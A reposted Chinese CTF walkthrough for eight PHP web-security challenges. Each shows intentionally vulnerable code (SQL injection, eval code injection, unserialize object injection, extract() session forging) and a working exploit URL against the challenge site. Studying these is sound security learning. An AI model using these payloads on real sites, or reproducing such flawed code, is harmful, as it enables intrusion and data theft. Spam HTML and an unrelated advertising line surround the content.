<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/660

                    challenge 1


                    php code:

                    #!php    
                    #GOAL: get password from admin;
                    error_reporting(0);
                    require 'db.inc.php';
                    
                    function clean($str){
                        if(get_magic_quotes_gpc()){
                            $str=stripslashes($str);
                        }
                        return htmlentities($str, ENT_QUOTES);
                    }
                    
                    $username = @clean((string)$_GET['username']);
                    $password = @clean((string)$_GET['password']);
                    
                    $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
                    $result=mysql_query($query);
                    if(!$result || mysql_num_rows($result) < 1){
                        die('Invalid password!');
                    }
                    
                    $row = mysql_fetch_assoc($result);
                    
                    echo "Hello ".$row['name']."</br>";
                    echo "Your password is:".$row['pass']."</br>";
                    

                    攻略:

                    在單引號內的mysql注入,核心就是逃脫單引號,要么生成一個(htmlentities了單引號,不太可能),要么...干掉一個。

                    所以:

                    http://php4fun.sinaapp.com/c1/index.php?username=admin\&password=%20or%201%23
                    

                    challenge 2


                    php code:

                    #!php
                    #GOAL: gather some phpinfo();
                    
                    $str=@(string)$_GET['str'];
                    eval('$str="'.addslashes($str).'";');
                    

                    攻略:

                    eval('$str="'.addslashes($str).'";');這段最后成為php代碼 $str="",里雙引號被addslashes,但內容在雙引號內可以${${這里執行代碼}}

                    所以:

                    http://phpchallenges2.sinaapp.com/index.php?str=${${phpinfo()}}
                    

                    challenge 3


                    php code:

                    #!php
                    # GOAL: dump the info for the secret id
                    require 'db.inc.php';
                    
                    $id = @(float)$_GET['id'];
                    
                    $secretId = 1;
                    if($id == $secretId){
                        echo 'Invalid id ('.$id.').';
                    }
                    else{
                        $query = 'SELECT * FROM users WHERE id = \''.$id.'\';';
                        $result = mysql_query($query);
                        $row = mysql_fetch_assoc($result);
                    
                        echo "id: ".$row['id']."</br>";
                        echo "name:".$row['name']."</br>";
                    }
                    

                    攻略:

                    主要是利用php和mysql對float數字型支持的精度不同,精度小的會忽略不能支持的位數。

                    所以:

                    http://php4fun.sinaapp.com/c3/index.php?id=1.0000000000001
                    

                    challenge 4


                    php code:

                    #!php
                    #GOAL:get password from admin
                    # $yourInfo=array(
                    #   'id'    => 1,
                    #   'name'  => 'admin',
                    #   'pass'  => 'xxx',
                    #   'level' => 1
                    # );
                    require 'db.inc.php';
                    
                    $_CONFIG['extraSecure']=true;
                    
                    //if register globals = on, undo var overwrites
                    foreach(array('_GET','_POST','_REQUEST','_COOKIE') as $method){
                         foreach($$method as $key=>$value){
                              unset($$key);
                         }
                    }
                    
                    $kw = isset($_GET['kw']) ? trim($_GET['kw']) : die('Please enter in a search keyword.');
                    
                    if($_CONFIG['extraSecure']){
                         $kw=preg_replace('#[^a-z0-9_-]#i','',$kw);
                    }
                    
                    $query = 'SELECT * FROM messages WHERE message LIKE \'%'.$kw.'%\';';
                    
                    $result = mysql_query($query);
                    $row = mysql_fetch_assoc($result);
                    
                    echo "id: ".$row['id']."</br>";
                    echo "message: ".$row['message']."</br>";
                    

                    攻略:

                    這段$kw在單引號里,看起來只要能使用單引號就行,所以干掉_CONFIG['extraSecure']就ok,剛好前面畫蛇添足的有可利用的變量unset(不然咋通關?),然后就是聯合查詢了。

                    所以:

                    http://php4fun.sinaapp.com/c4/index.php?kw='%20and%200%20union%20select%20name,pass%20from%20users%20where%20id=1%23&_CONFIG=aaa
                    

                    challenge 5


                    php code:

                    #!php
                    # GOAL: overwrite password for admin (id=1)
                    #       Try to login as admin
                    # $yourInfo=array( //this is your user data in the db
                    #   'id'    => 8,
                    #   'name'  => 'jimbo18714',
                    #   'pass'  => 'MAYBECHANGED',
                    #   'level' => 1
                    # );
                    require 'db.inc.php';
                    
                    function mres($str) {
                        return mysql_real_escape_string($str);
                    }
                    
                    $userInfo = @unserialize($_GET['userInfo']);
                    
                    $query = 'SELECT * FROM users WHERE id = \''.mres($userInfo['id']).'\' AND pass = \''.mres($userInfo['pass']).'\';';
                    
                    $result = mysql_query($query);
                    if(!$result || mysql_num_rows($result) < 1){
                        die('Invalid password!');
                    }
                    
                    $row = mysql_fetch_assoc($result);
                    foreach($row as $key => $value){
                        $userInfo[$key] = $value;
                    }
                    
                    $oldPass = @$_GET['oldPass'];
                    $newPass = @$_GET['newPass'];
                    if($oldPass == $userInfo['pass']){
                        $userInfo['pass'] = $newPass;
                        $query = 'UPDATE users SET pass = \''.mres($newPass).'\' WHERE id = \''.mres($userInfo['id']).'\';';
                        mysql_query($query);
                        echo 'Password Changed.';
                    }
                    else{
                        echo 'Invalid old password entered.';
                    }
                    

                    攻略:

                    (1) http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x03.txt (站上默認顯示的密碼就是個提示...估計是哪位大蝦順手改的) (2) $userInfo['pass'] = $newPass; //這句,改成1

                    所以:

                    (1) 修改jimbo18714密碼為8 (2) 再次修改密碼,提交時userInfo為8的序列化,newPass為1

                    challenge 6


                    php code:

                    #!php
                    #GOAL: get the secret;
                    
                    class just4fun {
                        var $enter;
                        var $secret;
                    }
                    
                    if (isset($_GET['pass'])) {
                        $pass = $_GET['pass'];
                    
                        if(get_magic_quotes_gpc()){
                            $pass=stripslashes($pass);
                        }
                    
                        $o = unserialize($pass);
                    
                        if ($o) {
                            $o->secret = "?????????????????????????????";
                            if ($o->secret === $o->enter)
                                echo "Congratulation! Here is my secret: ".$o->secret;
                            else 
                                echo "Oh no... You can't fool me";
                        }
                        else echo "are you trolling?";
                    }
                    

                    攻略:

                    serialize一個just4fun的對象,序列化之前先賦值給$o->enter (在本地執行是成功的,php4fun.sinaapp.com不行,代碼改了?)

                    所以:

                    (1) 生成序列化的對象

                    #!php
                    class just4fun {
                        var $enter;
                        var $secret;
                    }
                    
                    $a=new just4fun();
                    $a->enter='?????????????????????????????';
                    echo urlencode(serialize($a));
                    

                    (2)

                    link?pass=O%3A8%3A%22just4fun%22%3A2%3A%7Bs%3A5%3A%22enter%22%3Bs%3A29%3A%22%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%22%3Bs%3A6%3A%22secret%22%3BN%3B%7D
                    

                    challenge 7


                    php code:

                    #!php
                    # GOAL: get the key from $hidden_password[207]
                    
                    session_start();
                    error_reporting(0);
                    
                    function auth($password, $hidden_password) {
                        $res = 0;
                        if(isset($password) && $password != "") {
                            if($password == $hidden_password) {
                                $res = 1;
                            }
                        }
                        $_SESSION["logged"] = $res;
                        return $res;
                    }
                    
                    function display($res){
                        $aff = htmlentities($res);
                        return $aff;
                    }
                    
                    
                    if(!isset($_SESSION["logged"]))
                        $_SESSION["logged"] = 0;
                    
                    $aff = "";
                    include("config.inc.php");
                    
                    foreach($_REQUEST as $request) {
                        if(is_array($request)) {
                            die("Can not use Array in request!");
                        }
                    }
                    
                    $password = $_POST["password"];
                    
                    if(!ini_get("register_globals")) {
                        $superglobals = array($_POST, $_GET);
                        if(isset($_SESSION)) {
                            array_unshift($superglobals, $_SESSION);
                        }
                        foreach($superglobals as $superglobal) {
                            extract($superglobal, 0);
                        }
                    }
                    
                    if((isset($password) && $password != "" && auth($password, $hidden_password[207]) == 1) || (is_array($_SESSION) && $_SESSION["logged"] == 1)) {
                        $aff = display("$hidden_password[207]");
                    } else {
                        $aff = display("Try again");
                    }
                    echo $aff;
                    

                    攻略:

                    get the key from $hidden_password[207] 這句有點模糊,下面的‘所以’可以得到key(繞過REQUEST對數組的判斷)

                    所以:

                    http://php4fun.sinaapp.com/c7/index.php?_SESSION[logged]=1
                    POST: _SESSION=1
                    

                    challenge 8


                    php code:

                    #!php
                    #GOAL: file_get_content('sbztz.php')    : )
                    
                        class just4fun {
                            public $filename;
                    
                            function __toString() {
                                return @file_get_contents($this->filename);
                            }
                        }
                    
                        $data = stripslashes($_GET['data']);
                        if (!$data) {
                            die("hello from y");
                        }
                    
                        $token = $data[0];
                        $pass = true; 
                    
                        switch ( $token ) {
                            case 'a' :
                            case 'O' :
                            case 'b' :
                            case 'i' :
                            case 'd' :
                                $pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
                                break;
                    
                            default:
                                $pass = false;
                    
                        }
                    
                        if (!$pass) {
                          die("TKS L.N.");
                        }
                    
                        echo unserialize($data); 
                    

                    攻略:

                    http://drops.wooyun.org/papers/596

                    http://zone.wooyun.org/content/6697

                    所以:

                    (1) 生成利用的data:

                    O%3A%2B8%3A"just4fun"%3A1%3A%7Bs%3A8%3A"filename"%3Bs%3A9%3A"sbztz.php"%3B%7D  (注意%2B)
                    

                    (2)

                    http://php4fun.sinaapp.com/c8/index.php?data=O%3A%2B8%3A"just4fun"%3A1%3A%7Bs%3A8%3A"filename"%3Bs%3A9%3A"sbztz.php"%3B%7D
                    

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频